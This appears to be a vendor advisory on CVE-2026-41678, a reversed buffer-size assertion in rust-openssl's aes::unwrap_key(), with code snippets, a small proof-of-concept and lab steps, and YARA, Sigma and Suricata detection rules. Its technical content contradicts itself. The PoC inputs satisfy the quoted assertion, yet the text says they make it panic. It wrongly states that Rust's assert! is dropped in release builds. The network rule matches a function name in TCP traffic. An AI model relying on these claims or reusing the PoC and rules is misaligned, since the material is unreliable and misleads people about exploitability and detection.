CVE-2026-41678

Executive Summary

CVE-2026-41678 is a critical memory safety vulnerability in the rust-openssl crate, which provides OpenSSL bindings for the Rust programming language. The flaw resides in the aes::unwrap_key() function, where an incorrect assertion check leads to an out-of-bounds write. The assertion out.len() + 8 <= in_.len() is reversed; the intended invariant is out.len() >= in_.len() - 8. This inversion causes the function to only accept output buffers that are at or below the minimum required size, rejecting larger ones. When a smaller buffer is provided, the function writes past the end of the output buffer by in_.len() - 8 - out.len() bytes, resulting in a heap-based buffer overflow. This vulnerability can be triggered from a safe public function, making it particularly dangerous as it bypasses Rust's memory safety guarantees. The issue has been patched in version 0.10.78.

Supply Chain & Package Security

This vulnerability affects the rust-openssl crate, which is a critical dependency in the Rust ecosystem. Many Rust applications that perform AES key unwrapping operations are at risk. The crate is widely used in cryptographic operations, TLS implementations, and secure communication libraries. Organizations should audit their dependency trees for affected versions and update immediately.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, the vulnerability can be assessed based on its characteristics:

• Attack Vector (AV): Network (N) – The function can be called remotely if the application processes untrusted input.
• Attack Complexity (AC): Low (L) – The exploit requires no special conditions.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Memory corruption can leak sensitive data.
• Integrity (I): High (H) – An attacker can corrupt memory.
• Availability (A): High (H) – The overflow can cause crashes or denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – The vulnerability allows remote code execution or denial of service through a safe Rust function, bypassing memory safety guarantees.

Deep Dive & Mechanics

The vulnerability is in the aes::unwrap_key() function of the rust-openssl crate. The function performs AES key unwrapping as defined in RFC 3394. The core issue is an incorrect assertion that checks buffer sizes:

// Vulnerable code (simplified)
pub fn unwrap_key(
    out: &mut [u8],
    in_: &[u8],
    kek: &[u8],
) -> Result<usize, ErrorStack> {
    // Incorrect assertion: out.len() + 8 <= in_.len()
    // This should be: out.len() >= in_.len() - 8
    assert!(out.len() + 8 <= in_.len());
    // ... actual unwrap logic ...
}

The intended invariant is that the output buffer must be at least in_.len() - 8 bytes to hold the unwrapped key. However, the assertion checks out.len() + 8 <= in_.len(), which is equivalent to out.len() <= in_.len() - 8. This means the function only accepts output buffers that are smaller than the required size, rejecting larger ones. When a smaller buffer is provided, the function writes beyond its bounds.

The overflow occurs because the underlying OpenSSL function AES_unwrap_key writes in_.len() - 8 bytes to the output buffer, but the buffer is only out.len() bytes. The difference in_.len() - 8 - out.len() bytes are written past the end of the buffer.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.10.78):

// In src/aes.rs or similar
pub fn unwrap_key(
    out: &mut [u8],
    in_: &[u8],
    kek: &[u8],
) -> Result<usize, ErrorStack> {
    // BUG: Reversed assertion
    assert!(out.len() + 8 <= in_.len());
    // ... rest of function
}

Patched Code (0.10.78):

// In src/aes.rs or similar
pub fn unwrap_key(
    out: &mut [u8],
    in_: &[u8],
    kek: &[u8],
) -> Result<usize, ErrorStack> {
    // FIX: Correct assertion
    assert!(out.len() >= in_.len() - 8);
    // ... rest of function
}

The patch simply corrects the assertion logic. The patched version ensures the output buffer is large enough to hold the unwrapped key, preventing the out-of-bounds write.

Exploitation & Lab Setup

Red Team

Exploitation Scenario:

An attacker can exploit this vulnerability by crafting a malicious input to the aes::unwrap_key() function. The attacker controls the in_ (ciphertext) and kek (key encryption key) parameters. By providing a ciphertext that is larger than the output buffer, the attacker triggers the out-of-bounds write.

Proof of Concept (PoC):

use openssl::aes::{unwrap_key, AesKey};

fn exploit() {
    let kek = b"0123456789abcdef"; // 16-byte KEK
    let ciphertext = vec![0u8; 32]; // 32-byte ciphertext
    let mut out = vec![0u8; 16]; // 16-byte output buffer (too small)

    // This will trigger the assertion failure in debug mode,
    // but in release mode, it will write past the buffer.
    let result = unwrap_key(&mut out, &ciphertext, kek);
    println!("Result: {:?}", result);
}

Lab Setup:

1. Create a new Rust project: cargo new exploit_lab
2. Add vulnerable dependency: cargo add openssl@0.10.77
3. Replace src/main.rs with the PoC code above.
4. Run with cargo run --release to trigger the overflow.

Expected Behavior: In debug mode, the assertion will panic. In release mode, the assertion is removed, and the function will write beyond the buffer, potentially corrupting heap memory.

Blue Team

Detection and Prevention:

1. Static Analysis: Use Rust's built-in cargo audit to detect vulnerable versions:

   cargo audit
   

2. Runtime Detection: Enable address sanitizer (ASan) during testing:

   RUSTFLAGS="-Z sanitizer=address" cargo run --target x86_64-unknown-linux-gnu
   

3. Memory Protection: Use memory protection mechanisms like ASLR and NX to mitigate exploitation.

4. Code Review: Audit all uses of aes::unwrap_key() in your codebase and ensure output buffers are properly sized.

Indicators of Compromise (IOCs)

• Crate Version: rust-openssl versions before 0.10.78
• Function Call: aes::unwrap_key() with mismatched buffer sizes
• Crash Signature: Heap corruption or assertion failure in aes::unwrap_key
• Log Pattern: "assertion failed: (left <= right)" with left: out.len() + 8, right: in_.len()

Detection Engineering

YARA Rule

rule CVE_2026_41678_Rust_Openssl {
    meta:
        description = "Detects vulnerable rust-openssl versions with CVE-2026-41678"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "https://github.com/sfackler/rust-openssl"
    strings:
        $vuln_assert = "out.len() + 8 <= in_.len()"
        $fixed_assert = "out.len() >= in_.len() - 8"
    condition:
        $vuln_assert and not $fixed_assert
}

Sigma Rule

title: CVE-2026-41678 - Rust-Openssl Out-of-Bounds Write
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2026-41678 via assertion failures or heap corruption
author: Valters IT
date: 2026-01-01
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "assertion failed: `(left <= right)`"
        - "left: `out.len() + 8`"
        - "right: `in_.len()`"
    condition: selection
falsepositives:
    - Legitimate use of vulnerable version without exploitation
level: high

Suricata Rule

alert tcp any any -> any any (
    msg:"CVE-2026-41678 - Rust-Openssl Out-of-Bounds Write Attempt";
    flow:to_server;
    content:"|61 65 73 5f 75 6e 77 72 61 70 5f 6b 65 79|"; 
    sid:1000001;
    rev:1;
    reference:cve,2026-41678;
)

Remediation & Mitigation

Immediate Actions:

1. Update Dependency: Upgrade rust-openssl to version 0.10.78 or later:

   cargo update -p openssl
   

2. Verify Version: Check your Cargo.lock file for the openssl version:

   grep -A1 'name = "openssl"' Cargo.lock
   

3. Audit Code: Review all uses of aes::unwrap_key() and ensure output buffers are properly sized.

Long-term Mitigations:

1. Implement Fuzzing: Use cargo-fuzz to test cryptographic functions with malformed inputs.
2. Enable Memory Sanitizers: Use AddressSanitizer (ASan) and MemorySanitizer (MSan) in CI pipelines.
3. Dependency Scanning: Integrate cargo audit or dependabot into your development workflow.
4. Code Review: Enforce mandatory code reviews for all cryptographic operations.

Workaround: If immediate update is not possible, avoid using aes::unwrap_key() with untrusted input or ensure output buffers are at least in_.len() - 8 bytes.

Valters IT

{/* [Security Hash: B0613257B2477141349CDECE] */}